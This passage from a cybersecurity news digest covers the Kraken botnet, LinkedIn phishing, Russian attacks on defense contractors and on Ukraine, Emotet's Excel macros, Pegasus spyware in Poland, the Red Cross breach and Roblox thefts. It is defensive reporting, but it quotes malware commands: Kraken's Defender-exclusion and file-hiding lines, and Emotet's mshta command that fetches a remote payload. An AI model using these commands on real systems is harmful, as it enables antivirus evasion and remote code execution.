files downloaded by SmokeLoader. These SFX files contained a UPX-packed version of Kraken, RedLine Stealer, and another binary used to delete Kraken. Current versions of Kraken are now downloaded by SmokeLoader directly. Kraken binaries are still UPX-packed but are now further protected by the Themida packer as well.</p> <p>Installation and Persistence</p> <p>During Kraken's installation phase, it attempts to move itself into %AppData%\Microsoft. The file name is hardcoded, though the author has changed it a few times. ZeroFox has observed file names such as taskhost.exe, Registry.exe, and Windows Defender GEO.exe.</p> <p>To stay hidden, Kraken runs the following two commands:</p>

1. powershell -Command Add-MpPreference -ExclusionPath %APPDATA%\Microsoft
2. attrib +S +H %APPDATA%\Microsoft\<EXE_NAME>

The PowerShell command tells Microsoft Defender not to scan Kraken's installation directory, while the attrib command is used to hide the copied EXE file from an Explorer window that has not enabled the "Show hidden files, folders, and drives" option.

Kraken also makes use of the Windows Run registry key to ensure it starts every time the victim logs in.

Features

Kraken's feature set is simplistic for a botnet. Although not present in earlier builds, the bot is capable of collecting information about the infected host and sending it back to the command and control (C2) server during registration. The information collected seems to vary from build to build, though ZeroFox has observed the following being collected:

- Hostname
- Username
- Build ID (TEST_BUILD_ + the timestamp of the first run)
- CPU details
- GPU details
- Operating system and version

The botnet also features the ability to download and execute files. Originally, Kraken contained separate but similar functions for downloading files for different situations, such as updating the bot itself, executing secondary payloads, and receiving files through direct socket connection. These functions have since been combined into one, while the redundant functions were removed.

Kraken's operators are able to run shell commands on infected hosts from the dashboard as well, returning the results back to the C2 server.

SSH brute-forcing functionality was added to some builds but was quickly removed. This function was hardcoded to attempt logging in as the root user of a given target and assumed a server would be listening on the default port. ZeroFox did not see any evidence of this feature being used, likely explaining its quick removal.

Upon execution, Kraken immediately takes a screenshot to send to the C2. A "ScreenShot" command also exists if the operator decides to take screenshots of the victim's system on demand.

Conclusion

While in development, Kraken C2s seem to disappear often. ZeroFox has observed dwindling activity for a server on multiple occasions, only for another to appear a short time later using either a new port or a completely new IP. By using SmokeLoader to spread, Kraken quickly gains hundreds of new bots each time the operator changes the C2. Monitoring commands sent to Kraken victims from October 2021 through December 2021 revealed that the operator had focused entirely on pushing information stealers – specifically RedLine Stealer. It is currently unknown what the operator intends to do with the stolen credentials that have been collected or what the end goal is for creating this new botnet.

[Return to Top](#)

HEADLINE	02/16 Report: LinkedIn phishing scams up 232%
SOURCE	https://www.zdnet.com/article/linkedin-phishing-scams-increase-232-since-feb-1-report/?&web_view=true
GIST	<p>Phishing attacks impersonating emails from LinkedIn have grown 232% since the start of February, according to cybersecurity firm Egress.</p> <p>The company released a report about cybercriminals using display name spoofing and stylized HTML templates to socially engineer victims into clicking on phishing links in Outlook 365 and then entering their credentials into fraudulent websites.</p>

Many people have become accustomed to seeing emails from LinkedIn saying things like "You appeared in 4 searches this week," "You have 1 new message," and "Your profile matches this job."

But now, cybercriminals are using webmail addresses with a LinkedIn display names to send fake emails with the same subject lines.

"The emails use multiple stylized HTML templates, including the LinkedIn logo, brand colors and icons. Within the body of the email, the cybercriminal uses other well-known organizations' names (including American Express and CVS Carepoint) to make the attacks more convincing," Egress explained.

"When clicked, the phishing links send the victim to a website that harvests their LinkedIn log-in credentials. The footer features elements from LinkedIn's genuine email footer, including their global HQ address, hyperlinks to unsubscribe and to their support section, and the recipient's information."

Egress noted that the emails were particularly concerning right now because so many people are looking for new jobs and switching employers, making them more likely to click on malicious links that look identical to some LinkedIn messages.

Yehuda Rosen, senior software engineer at nVisium, added that LinkedIn has hundreds of millions of users, many of whom are very accustomed to seeing frequent, legitimate emails from LinkedIn. They may inevitably click without carefully checking that each and every email is real.

A record number of people have already left their jobs and are looking for work, and Egress said they have seen a variety of targets in different industries across North America and the UK.

"The attacks we have seen are bypassing traditional email security defenses to be delivered into people's inboxes. We advise organizations to examine their current anti-phishing securing stack to ensure they have intelligent controls deployed directly into people's mailboxes," Egress said.

"Individuals should take extreme caution when reading notification emails that request them to click on a hyperlink, particularly on mobile devices. We recommend hovering over links before clicking on them and going directly to LinkedIn to check for messages and updates."

[Return to Top](#)

HEADLINE	02/16 CISA: cleared defense contractors targeted
SOURCE	https://www.cisa.gov/news/2022/02/16/new-cybersecurity-advisory-protecting-cleared-defense-contractor-networks-against?web_view=true
GIST	<p>WASHINGTON – The Cybersecurity and Infrastructure Security Agency (CISA), along with the Federal Bureau of Investigation (FBI), and the National Security Agency (NSA) issued a joint Cybersecurity Advisory titled, “Russian State-Sponsored Cyber Actors Target Cleared Defense Contractor Networks to Obtain Sensitive U.S. Defense Information and Technology.” Over the last two years, compromised entities have included cleared defense contractors (CDCs) supporting the U.S. Army, U.S. Air Force, U.S. Navy, U.S. Space Force, and Intelligence Community programs.</p> <p>In the past several years, both large and small CDCs and subcontractors supporting various defense industries have been observed being targeted for unclassified proprietary and export-controlled information such as weapons development, communications infrastructure, technological and scientific research, and other potentially sensitive details.</p> <p>In the advisory, the three agencies outline the activities and tactics used by the Russian state-sponsored cyber actors that include:</p> <ul style="list-style-type: none">• Brute force techniques to identify valid account credentials for domain and M365 accounts and then use those credentials to gain initial access in networks.

- Spearphishing emails with links to malicious domains, to include using methods and techniques meant to bypass virus and spam scanning tools.
- Using harvested credentials used in conjunction with known vulnerabilities to escalate privileges and gain remote code executions on exposed applications.
- Mapping Active Directory and connect to domain controllers, which would enable credentials to be exfiltrated.
- Maintained persistent access, in multiple instances for at least six months, which is likely because the threat actors relied on possession of legitimate credentials enabling them to pivot to other accounts.

“Over the last several years, we have observed and documented a host of malicious activity conducted by Russian state-sponsored cyber actors targeting U.S. critical infrastructure,” said CISA Director Jen Easterly. “Today’s joint advisory with our partners at FBI and NSA is the latest report to detail these persistent threats to our nation’s safety and security. Everyone has a role to play to combat this and other [Russian cyber threats](#), and we encourage all organizations of every size to take action to mitigate risks to their networks.”

“The FBI, along with our partners CISA and NSA, will continue to combat Russia’s targeted cyber activity as it threatens different sectors in the United States,” said Assistant Director the FBI’s Cyber Division, Bryan Vorndran. “We will actively pursue, prevent and disrupt these malicious actions as they attempt to impact Cleared Defense Contractor networks. We urge our private sector partners as well as the public to continue to implement good cyber hygiene practices to assist in mitigating these threats where possible and report any suspicious cyber activity to www.ic3.gov.”

“Over the last several years, Russian state-sponsored cyber actors have been persistent in targeting U.S. cleared defense contractors to get at sensitive information. Armed with insights like these, we can better detect and defend important assets together,” said Rob Joyce, Director of NSA Cybersecurity.

The FBI, NSA, and CISA urge all CDCs to investigate suspicious activity in their enterprise and cloud environments. Also, all CDCs, with or without evidence of compromise, are encouraged to apply the mitigations listed in the advisory to reduce the risk of compromise by this threat actor. Some of the specific actions that can be taken to protect against this malicious activity include: enforce multifactor authentication, enforce strong, enforce download of software updates, unique passwords, enable M365 Unified Audit Logs, and implement endpoint detection and response tools.

Over the last decade, the Russian state-sponsored actors have used cyber as a key component of their force projection, which includes disabling or destroying critical infrastructure—including power and communications. In addition to this latest advisory on malicious activity, we encourage all organizations to review our new [Shields Up webpage](#) to find recommended actions on protecting their most critical assets.

[Return to Top](#)

Read the full advisory [here](#).

HEADLINE	02/15 US: Russia govt. hackers penetrate Ukraine
SOURCE	https://www.washingtonpost.com/national-security/2022/02/15/russia-ukraine-cyber-attacks/
GIST	<p>Russian government hackers have likely broadly penetrated Ukrainian military, energy and other critical computer networks to collect intelligence and position themselves potentially to disrupt those systems should Russia launch a military assault on Ukraine, according to newly declassified U.S. intelligence.</p> <p>Moscow could seek to disrupt Ukrainian entities that provide critical services such as electricity, transportation, finance and telecommunications — either to support military operations or to sow panic in an attempt to destabilize the country, according to a senior administration official who described the intelligence.</p> <p>The U.S. government has determined only that Russia could undertake disruptive cyber-activity, not that it will, said the official, who like several others spoke on the condition of anonymity because of the matter’s</p>

sensitivity. “We don’t know that they have intention to do so,” the official said. “But we have been working with Ukraine to strengthen their cyberdefenses.”

A Kremlin spokesman did not respond to a request for comment.

On Tuesday, the Ukrainian government’s Center for Strategic Communications and Information Security said that PrivatBank, the nation’s largest commercial bank, was hit with a denial-of-service attack that temporarily interfered with customers’ online banking transactions. Service was restored within hours, the government said.

The websites of Ukraine’s Defense Ministry and armed forces were also disrupted, the agency said. It did not say who was behind the attacks.

Should the conflict with Ukraine escalate, officials fear there could be broader cyberattacks in retaliation for Western sanctions or other moves to support Ukraine.

The concern is so great that on Friday the White House’s deputy national security adviser for cyber, Anne Neuberger, ran a tabletop exercise to ensure that federal agencies were prepared for Russian cyber-assaults that might take place in an escalating conflict with Moscow.

Such events could include a cyberattack against Ukraine, an attack against a NATO member or ransomware. “We wanted to prepare for every scenario,” the official said.

President Biden on Tuesday said that “if Russia attacks the United States or our allies through ... disruptive cyberattacks against our companies or critical infrastructure, we are prepared to respond.”

Hackers working for Russia’s Federal Security Service, or FSB, and its military spy agency, the GRU, have been spotted inside Ukraine’s systems, according to a second U.S. official and another person familiar with the matter.

The U.S. government also has been warning critical industries in the United States to ensure their systems are as hardened as possible against cyberattacks as Russia could seek to disrupt electricity, gas and other systems. The Russians have in the past infiltrated the control systems of some American electric utilities, though no disruptions resulted.

Moscow has grown increasingly aggressive in cyberspace over the past decade, carrying out not only massive compromises of unclassified U.S. government email systems and interfering in the 2016 U.S. presidential election but also knocking out power temporarily in parts of Ukraine in December 2015 and then again in December 2016 in Kyiv, the Ukrainian capital.

Those attacks took place amid an escalating geopolitical confrontation between Ukraine — which was leaning toward the West — and Russia, which sought to pull the country back into its sphere of influence. In 2014, Russia invaded and annexed Crimea and then fueled a separatist conflict in eastern Ukraine, which continues.

Cyberattacks are a key weapon in Russia’s larger effort to destabilize Ukrainian society, according to U.S. officials and analysts. Besides temporarily blacking out parts of Ukraine several years ago, Russian hackers also unleashed a computer virus in 2017 against Ukrainian government ministries, banks and energy companies. The malware, dubbed NotPetya, wiped data from computers and crippled services. It also spread beyond Ukraine, which officials say probably was not the Russians’ intention, causing billions of dollars in damage globally.

“There’s no doubt in my mind that Russia sees cyber as playing a significant role in its attempts to coerce and destabilize Ukraine,” said a senior Western intelligence official. “Cyber has been a central part of Russia’s military buildup. The challenge that the Ukrainians have is that the level of cyber-activity that’s

conducted against them day-to-day is already very high and the level of cyber-activity that's conducted against Ukraine is so much higher than any other nation would deal with and frankly would tolerate."

Russian hackers have designed malware expressly for use against Ukrainian computers. That has made it a challenge for the country's cyber defenders, and though they are more capable than they were eight years ago, they still struggle against Russian expertise, according to Western officials.

"I think you would see cyberattacks as an enabler for whatever their operational plans are — as a way to isolate and paralyze the society by disrupting banks and other critical societal institutions," said Anthony Vassalo, a senior intelligence and defense researcher at Rand Corp. and a former senior U.S. intelligence officer.

Ukraine has improved its cyberdefense capabilities in critical infrastructure, said Tim Conway, an instructor at Sans, a private cyber training institute who was in Kyiv in December running an electric-sector cyberwar game to test the sector's preparedness. He said Ukraine, like other countries, needs to learn how to use manual operations at key locations to keep systems running in the event a cyberattack disrupts digitally controlled systems.

"This ability to operate through an attack is absolutely something that all countries should be looking at — not just Ukraine," he said.

Victor Zhora, deputy chairman of the State Service of Special Communications and Information Protection in Kyiv, acknowledged the challenge. Ukrainian cyberdefenses are "much better," he said. "But the attackers have developed their cyberweapons as well. That's why it's a constant game."

Ukrainian President Volodymyr Zelensky in December decreed the creation of a dedicated military cyber force, Zhora said. The Defense Ministry has cybersecurity specialists, he said, but "separate cyber forces never existed, and it's our task to create them this year."

Zhora said there has been "very fruitful cooperation with both U.S. and European institutions." The U.S. Agency for International Development has been running a long-term project in Ukraine to strengthen cybersecurity, train a cyber workforce and develop start-ups in cybersecurity to provide products and services.

Some U.S. agencies have been working with the Ukrainian government and critical sectors for years. Energy Department collaboration, for instance, stretches back to the attacks on the power grid in 2015. Several dozen U.S. Cyber Command personnel were in Ukraine, arriving in December to help shore up government and critical sector systems.

"The key piece is that we built some of the people-to-people connections to enable us to provide rapid incident support in the event of something significant," the senior administration official said. "The key is resilience."

If a crisis emerges, the U.S. government will try to provide support remotely, the official said. "You can do a lot without having people in a dangerous situation."

Last month, NATO and Ukraine signed an agreement to allow Ukraine to become a member of the alliance's malware information-sharing program. "What they need most at this moment is information," said a senior Western diplomat.

Ukraine is not a member of NATO so is not covered by the alliance's commitment to rise to the defense of a member in the event of an armed attack. But Neuberger said at a news conference in Brussels this month that at a minimum NATO would "call out any destructive or destabilizing cyberattacks," even against a nonmember such as Ukraine, to reinforce the U.N. norm against destructive attacks against critical services that civilians rely on.

Last month, hackers disrupted several Ukrainian government networks using malware that wiped data from the computers of several government agencies, rendering them inoperable until the systems could be rebuilt. Though no official attribution has been made, cyber analysts say the likeliest culprit is Russia. The FBI is helping with the investigation, Ukrainian officials said.

Microsoft, which operates cloud and software services, detected and helped mitigate the attack.

Tom Burt, Microsoft vice president for customer security and trust, said that doing so remotely is challenging in Ukraine because relatively few of its systems are cloud-connected, which reduces the company's ability to see directly into the systems without being on-site. However, he said, after the wiper attack last month, Microsoft set up a secure communications channel for the Ukrainian government to share information on a regular basis that could be useful to the government and critical infrastructure.

Mandiant is also investigating last month's wiper incident. The firm provides threat intelligence to a number of companies with operations in Ukraine and closely monitors the region for emerging threats. "We're taking all this information from places like Ukraine and filtering it and giving clients a comprehensive view of the threat picture," said John Hultquist, Mandiant's vice president of intelligence analysis.

[Return to Top](#)

HEADLINE	02/16 Emotet spreading via malicious Excel files
SOURCE	https://threatpost.com/emotet-spreading-malicious-excel-files/178444/
GIST	<p>The infamous Emotet malware has switched tactics yet again, in an email campaign propagating through malicious Excel files, researchers have found.</p> <p>Researchers at Palo Alto Networks Unit 42 have observed a new infection approach for the high-volume malware, which is known to modify and change its attack vectors to avoid detection so it can continue to do its nefarious work, they wrote in a report published online Tuesday.</p> <p>"Emotet's new attack chain reveals multiple stages with different file types and obfuscated script before arriving at the final Emotet payload," Unit 42 researchers Saqib Khanzada, Tyler Halfpop, Micah Yates and Brad Duncan wrote.</p> <p>The new attack vector—discovered on Dec. 21 and still active—delivers an Excel file that includes an obfuscated Excel 4.0 macro through socially engineered emails.</p> <p>"When the macro is activated, it downloads and executes an HTML application that downloads two stages of PowerShell to retrieve and execute the final Emotet payload," researchers wrote.</p> <p>The Malware That Won't Die</p> <p>Emotet started life as a banking trojan in 2014 and has continually evolved to become a full-service threat-delivery mechanism, at one point existing as a botnet that held more than 1.5 million machines under its control, according to Check Point Software. Typical consequences of TrickBot infections are bank-account takeover, high-value wire fraud and ransomware attacks.</p> <p>Indeed, at the end of its original heyday, the estimated damage from Emotet was around \$2.5 billion dollars, researchers have said.</p> <p>Then, Emotet appeared to be put out of commission by an international law-enforcement collaborative takedown of a network of hundreds of botnet servers supporting the system in January 2021. However, it resurfaced last November on the back of frequent partner-in-crime TrickBot — and now continues to be a threat.</p> <p>Since its return, Emotet has used thread hijacking and other types of tactics as part of novel attack methods.</p>

“This technique generates fake replies based on legitimate emails stolen from mail clients of Windows hosts previously infected with Emotet,” Unit 42 researchers wrote. “The botnet uses this stolen email data to create fake replies impersonating the original senders.”

Examples of this method included using links to install a fake Adobe Windows App Installer Package that were [reported](#) in December, researchers wrote.

Using Excel Macros

The new Emotet infection method using Excel macros also has several variations, according to Unit 42. “In some cases, Emotet uses a password-protected .ZIP archive as an attachment to its email,” researchers explained. “In other cases, Emotet uses an Excel spreadsheet directly attached to the email.”

Researchers outlined an email sent by the Emotet botnet on Jan. 27 that uses a stolen email thread from June 2021. The email uses a lure heralding a “new announcement” to a “valuable supplier” and contains an encrypted .ZIP file in an attempt to bypass security systems, researchers wrote. It also includes the password to the .ZIP file in the email, so the victim can extract its contents.

“The encrypted .ZIP file contains a single Excel document with Excel 4.0 macros,” researchers wrote. “These macros are an old Excel feature that is frequently abused by malicious actors. The victim must enable macros on a vulnerable Windows host before the malicious content is activated.”

Once that’s done, the macro code executes cmd.exe to run mshta.exe, with an argument to retrieve and execute a remote HTML application that downloads and executes additional PowerShell code, researchers wrote.

“The code utilizes hex and character obfuscation in order to attempt to bypass static detection measures,” they explained. “The deobfuscated command string that is executed is: cmd /c mshta hxxp://91.240.118[.]168/se/s.html.”

The initial obfuscated PowerShell script connects to hxxp://91.240.118[.]168/se/s.png, a URL that returns text-based script for a second-stage set of PowerShell code designed to retrieve an Emotet binary.

“This second-stage PowerShell code...contains 14 URLs to retrieve the Emotet binary,” researchers wrote. “The script attempts each URL until an Emotet binary is successfully downloaded.”

Having multiple URLs in its attack chain is aimed at making it more resilient in the event that one of the URLs is taken down, researchers said. The final stage of the attack chain occurs when the Emotet .DLL loads an encrypted PE from its resource section, they added.

Microsoft to Block Macros by Default

Last week, Microsoft [announced a plan](#) to disable all macros by default in some applications, acknowledging that the mechanism is one of the world’s most popular ways to deliver malware.

“For the protection of our customers, we need to make it more difficult to enable macros in files obtained from the internet,” the computing giant noted. “VBA macros obtained from the internet will now be blocked by default.”

Three popular Office apps, Word, Excel and PowerPoint, plus Access and Visio, are affected by the change.

“For macros in files obtained from the internet, users will no longer be able to enable content with a click of a button,” Microsoft said. “The default is more secure and is expected to keep more users safe including home users and information workers in managed organizations.”

	Starting in late April, instead of a button to “enable macros,” users will be prompted with a “learn more” button that will take them to additional information before they can activate macros within a document.
Return to Top	
HEADLINE	02/16 Official: largest hack in Ukraine history
SOURCE	https://www.nytimes.com/live/2022/02/16/world/russia-ukraine-news?action=click&module=Well&pgtype=Homepage&section=World%20News#ukraine-cyberattack
GIST	<p>KYIV, Ukraine — A top Ukrainian cybersecurity official said on Wednesday that a cyberattack against the websites of Ukraine’s defense ministry and army, as well as the interfaces of the country’s two largest banks on Tuesday, was the largest assault of its kind in the country’s history and “bore traces of foreign intelligence services.”</p> <p>Ukraine’s minister of digital transformation, Mykhailo Fedorov, said that “vectors of attacks were organized from different countries.”</p> <p>“It is clear that it was prepared in advance, and the key goal of this attack is to destabilize, to sow panic, to do everything to create a certain chaos in the actions of Ukrainians in our country,” he told a news conference in Kyiv.</p> <p>The announcement came as Russian forces were gathered on Ukraine’s northern, eastern and southern borders, a force President Biden estimated Tuesday as approximately 150,000 soldiers.</p> <p>But officials are also concerned that Russia might seek to destabilize the country in other ways, including through cyberwarfare.</p> <p>The websites and banks targeted on Tuesday evening were hit with a distributed denial-of-service attack, or DDoS, during which hackers flood the servers hosting a website until it becomes overloaded and shuts down.</p> <p>While a full investigation is underway, all signs pointed to Russia, said Ilya Vityuk, the Head of the Ukrainian Intelligence Agency’s Cyber Security Department.</p> <p>“We know today that, unfortunately, the only country that is interested in such strikes on our country, especially against the background of mass panic over a possible military invasion is, unfortunately, the Russian Federation,” he said during the news conference.</p> <p>He added that the attack likely cost “millions of dollars” to execute it, far beyond the capabilities of individual hackers or groups.</p> <p>“Such attacks are usually perpetrated by countries,” he said. “Such attacks need infrastructure.”</p> <p>Moscow denied responsibility for the DDoS attack. “We know nothing about it, but we are not surprised that Ukraine is continuing to blame Russia for everything,” Kremlin spokesman Dmitri S. Peskov told journalists. “Russia has nothing to do with any DDoS attacks.”</p> <p>Mr. Vityuk said that the attack bore similarities to a mid January attack in which hackers brought down dozens of Ukrainian government websites, including Ukraine’s Ministry of Foreign Affairs.</p> <p>At the time, a message on the Ministry of Foreign Affairs warned: “Ukrainians! All your personal data was uploaded to the internet. All data on the computer is being destroyed. All information about you became public. Be afraid and expect the worst.”</p> <p>On Tuesday, clients of the state-owned PrivatBank and Oschadbank began to complain about difficulties using teller machines and mobile phone applications. The banks confirmed the attack, but said the funds in users’ accounts had not been affected, though users said they had been temporarily unable to withdraw</p>

money or use their credit cards. Some clients of the banks were worried, as their bank balances appeared drained. By Tuesday evening that most services had been restored.

Pavlo Kukhta, an adviser to Ukraine's energy minister, said in an interview that the hackers were possibly preparing for a larger attack, which could target the country's "vulnerable" power grid.

"The goal is quite simple: to sow panic, show what they are capable of, test the systems and see if they are vulnerable," he said. "They are poking around and looking for weaknesses."

As of Wednesday evening, the DDoS attack, which began at 3 p.m. Kyiv time on Tuesday, had been going on for more than 24 hours, Ukraine's Defense Ministry said. Ukrainian cybersecurity officials "have managed to significantly reduce the level of harmful traffic," said Victor Zhora of the Center for Strategic Communications and Information Security, a government agency established to counter Russian disinformation.

Ukraine's intelligence agency, the SBU, said Wednesday it had neutralized "more than 2,200 cyber attacks on state authorities and critical infrastructure in Ukraine" last year.

According to U.S. government assessments, some of the most drastic cyberattacks in the past decade were attributed to Russian actions in Ukraine — and then replicated elsewhere.

For instance, a Russian military spyware strain first identified in a hack against Ukraine's Central Elections Commission in 2014 was [found](#) in the server of the Democratic National Committee in the United States in 2016. The following year, attacks called NotPetya started in Ukraine and later spread around the world, causing some \$1 billion in [damage](#).

[Return to Top](#)

HEADLINE	02/17 Pegasus targeted more Polish opposition
SOURCE	https://www.theguardian.com/world/2022/feb/17/more-polish-opposition-figures-found-to-have-been-targeted-by-pegasus-spyware
GIST	<p>The use of intrusive spyware by members of the European Union is expected to face new scrutiny following revelations that the mobile phones of two more Polish citizens with close links to an opposition senator were targeted by a client of NSO Group, according to security experts.</p> <p>Forensic analysis by Amnesty International found that both Magdalena Łośko, the former assistant to Polish senator Krzysztof Brejza, and Brejza's father, Ryszard Brejza, received text messages in 2019 that researchers said were technically consistent with spyware attacks by clients of NSO Group using Pegasus.</p> <p>In both cases, the timing of the targeting matched the appearance of Łośko's and Ryszard Brejza's mobile phone numbers in a leaked database at the heart of the Pegasus Project, an investigation into NSO Group by a media consortium including the Guardian, Wyborcza and Die Zeit, coordinated by the French non-profit group Forbidden Stories.</p> <p>The data leak is a list of more than 50,000 phone numbers that, since 2016, are believed to have been selected as people of interest by government clients of NSO Group. The consortium believes the data indicates the potential targets that NSO's government clients identified in advance of possible surveillance. The presence of an individual's phone number in the database does not mean the mobile phone was hacked. NSO has strongly denied that the data has any connection to the Israeli firm and said the phone numbers on the list are not targets of NSO customers.</p> <p>When successfully deployed against a target, Pegasus can infiltrate a mobile phone, giving the user of the spyware full access to phone calls, text messages, encrypted messages and photographs. It can track a mobile phone user's location and turn the phone into a remote listening device.</p>

[Polish authorities' use of Pegasus](#) first came to light in December 2021, after the Associated Press, in association with researchers at the Citizen Lab at the University of Toronto, reported that Pegasus – the NSO Group spyware – had been used against at least three people, including Krzysztof Brejza. In his case, forensic analysis of his mobile phone showed it had been compromised numerous times in 2019 while he was running the electoral campaign of the opposition Civil Platform party. The attacks stopped a few days after the vote.

The new revelations by the Pegasus Project indicate that a client of NSO Group also sought to hack at least two individuals close to Brejza. Amnesty International's security lab found four suspicious text messages were sent to Łośko in April 2019, when she was running Brejza's campaign for the European parliament. Amnesty found 10 suspicious text messages on Ryszard Brejza's mobile between July and August 2019.

Amnesty said that, in both cases, the SMS messages directed the recipient to websites that were created before the attacks in 2019 and are no longer active. The available forensic evidence did not allow security researchers to confirm whether attempts to hack either Łośko or Ryszard Brejza were successful.

Poland's Central Anticorruption Bureau, the CBA, bought Pegasus in 2017 using funds from the Ministry of Justice, according to documents presented at a Polish senate hearing by the former head of the National Audit Office.

The CBA has previously declined to confirm whether it used Pegasus against any individuals, but it has said that any use of the surveillance tool would have obtained legally required consents.

A spokesperson for Poland's special services said, in response to a request for comment by the Pegasus Project, that it cannot comment on reports of methods of its "operational work" and would not comment on whether any specific individuals had been subjected to methods of "operational work". The spokesperson said that any allegations that surveillance methods had been used against individuals for "political purposes" were false.

NSO Group said in a statement: "Without referring to any specific governmental customer, a misuse of cyberintelligence tools is a serious matter and all credible allegations are immediately investigated. Unfortunately, a number of organisations with clear political agendas continue to release biased, inaccurate and incomplete reports based on scant, if any, evidence. As repeatedly stated, NSO does not operate the technology, and [is] not privy to the collected data. The company does not and cannot know who the targets of the customers are."

The company has previously said that its clients are only allowed to use its spyware to target criminals and terrorists.

The company is facing intense pressure in the European parliament, where the bloc's data watchdog has advised [the use of Pegasus should be banned](#) because of its power to intrude into the lives of its targets.

In interviews with the Pegasus Project, Ryszard Brejza described being shaken up by the news that his mobile phone was targeted with the intrusive spyware, particularly since the suspicious text messages he was sent were catered to appeal to his personal interests. In one case, he received messages laced with the suspected Pegasus-linked domain advertising a holiday home on the Baltic Sea, at a time when he was about to go on holiday on the Baltic coast.

Łośko, who is now a member of the Polish parliament, received suspicious SMS messages in 2019 about bullying, which researchers now say are linked to Pegasus. While she never sought out reports on bullying, Łośko recalled having conversations about bullying at the time.

	In a statement, Amnesty said: “These new findings increase concerns, not only for politicians, but for the whole of Poland’s civil society in general, particularly given the context of the government’s record of persistently subverting human rights and the rule of law.”
Return to Top	

HEADLINE	02/16 Red Cross blames hack Zoho vulnerability
SOURCE	https://therecord.media/red-cross-blames-hack-on-zoho-vulnerability-suspects-apt-attack/
GIST	<p>After making headlines last month, additional details are emerging about the hack of the Red Cross organization and the possibility that the attack was carried out by a state-sponsored hacking group.</p> <p>In an update to its original breach disclosure, the Red Cross said today that while the breach was found and disclosed on January 18, the actual intrusion took place last year, on November 9.</p> <p>The Red Cross said the hackers used an exploit for the CVE-2021-40539 vulnerability to gain an initial foothold inside their network.</p> <p>Impacting the Zoho ManageEngine ADSelfService Plus, a password management and single sign-on (SSO) solution from Indian company Zoho, the Red Cross said this vulnerability allowed attackers to bypass authentication, place web shells on its servers, and then move laterally across its network and compromise administrator credentials.</p> <p>The intruders used this access to compromise a Red Cross program called Restoring Family Links, which is a web-based system used by Red Cross volunteers to reunite family members separated by conflict, disaster, or migration.</p> <p>When it discovered the breach last month, the Red Cross begged the hackers not to leak any data they stole from this program, as it would have put “highly vulnerable people” at even greater risk.</p> <p>The details of more than 515,000 persons are believed to have been collected in the hack, including data such as names, locations, and contact information.</p> <p>Red Cross suspects state-sponsored group</p> <p>But while initially it was not known who was behind the attack, the Red Cross said today that the hacking tools used in the breach are typically used by “advanced persistent threat groups,” a term typically used to describe state-sponsored hacking groups. We quote:</p> <ul style="list-style-type: none"> • The attackers used a very specific set of advanced hacking tools designed for offensive security. These tools are primarily used by advanced persistent threat* groups, are not available publicly and therefore out of reach to other actors. • The attackers used sophisticated obfuscation techniques to hide and protect their malicious programs. This requires a high level of skills only available to a limited number of actors. • We determined the attack to be targeted because the attackers created a piece of code designed purely for execution on the targeted ICRC servers. The tools used by the attacker explicitly referred to a unique identifier on the targeted servers (its MAC address). • The anti-malware tools we had installed on the targeted servers were active and did detect and block some of the files used by the attackers. But most of the malicious files deployed were specifically crafted to bypass our anti-malware solutions, and it was only when we installed advanced endpoint detection and response (EDR) agents as part of our planned enhancement programme that this intrusion was detected. <p>The Red Cross said the attacker’s advanced offensive tools are what prevented it from detecting the breach sooner, with the attackers spending 70 days inside its network before discovery.</p> <p>Despite pinning the attack on a suspected state-sponsored hacking group, the Red Cross did not formally attribute the attack to any organization just yet.</p>

Nevertheless, a [Palo Alto Networks report](#) from November 2021 linked exploitation of the same Zoho vulnerability to a Chinese state-sponsored group known as APT27.

A week after the Red Cross disclosed its breach in January 2022, the [German government also published a security alert](#) warning local companies and state agencies about similar APT27 attacks leveraging the same Zoho vulnerability, which may provide additional clues about who may have been behind the Red Cross compromise.

The Red Cross hack turned a lot of heads last month and even made the US State Department to publish a [rare statement](#) on the matter, calling the incident “a dangerous development.”

“To ensure states and vulnerable people can continue to trust and rely on the Red Cross and Red Crescent Movement for the help they need, states should join the ICRC in raising the alarm about this breach,” the agency said last month.

[Return to Top](#)

HEADLINE	02/16 Hackers make fortune stealing from kids
SOURCE	https://www.vice.com/en/article/93bz35/hackers-are-making-a-fortune-stealing-from-kids-in-roblox https://www.vice.com/en/article/88qd4a/roblox-beaming-hackers
GIST	<p><i>Roblox</i> is one of the most popular and profitable video games ever created. Unless you’ve got kids, there’s a decent chance you’ve probably never heard of it. What makes it so engaging is that it’s a place where players develop and sell their own games and items. There is an internal economy and culture built around it. <i>Roblox</i> is, dare I say, a metaverse all its own.</p> <p>Lurking at the edges of that metaverse is a group of people called Beamers. With so many items floating around the <i>Roblox</i> economy worth so much cash and so many of them owned by children. That’s a target an unscrupulous hacker can hardly pass up.</p> <p>This week on Cyber, Motherboard staff writer Joseph Cox walks us through the underground world of <i>Roblox</i>. It’s the subject of his newest piece, “How Roblox ‘Beamers’ Get Rich Stealing from Children.”</p> <hr/> <p>Asil, a player on mega-popular gaming platform Roblox that lets creators make their own games, was at home when something odd happened. Roblox, for some reason, logged him out of his account. Asil tried to log back in, but his password didn’t work. Fortunately, he was able to reset his password, create a new one, and log back in.</p> <p>But as soon as he did that, Roblox kicked him back out. Asil contacted Roblox support, but it didn’t help; someone had removed the email address from the account, meaning he couldn’t prove the account actually belonged to him. Whoever was in control of Asil’s account then started trading with another player, and sent some of Asil’s valuable in-game items to the second account. It was clear: A hacker had broken in, and was emptying Asil’s pockets.</p> <p>Each Roblox account has an individual character they can earn or buy new clothes for, and which they then use inside Roblox’s virtual worlds. The hacker targeting Asil stole a rare skin that makes their Roblox avatar look like it’s licking its lips, as well as some Robux, Roblox’s currency. Limited items in Roblox come with unique serial numbers, adding to their prestige. Asil’s item was numbered #918. Asil said a friend originally gave it to them, and added he originally shared the account with a friend before they gave him full control of it.</p> <p>A day later, a friend of Asil’s found someone selling that same rare face item for Bitcoin in a Discord channel where users peddled Roblox items. The item this person was selling had the exact same serial number as Asil’s: #918. It was his stolen item, now being sold on the Roblox underground.</p> <p>Asil, it turned out, had been “beamed”—Roblox slang for getting hacked and your items stolen.</p>

“There’s a whole community where people beam, steal limiteds and sell them for USD or cryptocurrency,” Asil told Motherboard in an online chat. So-called beamers are able to profit from stolen Roblox items via massive dedicated marketplaces that handle at least tens of thousands of underground transactions and which take a cut of each sale too. Some of the items sold on these marketplaces likely include hacked items.

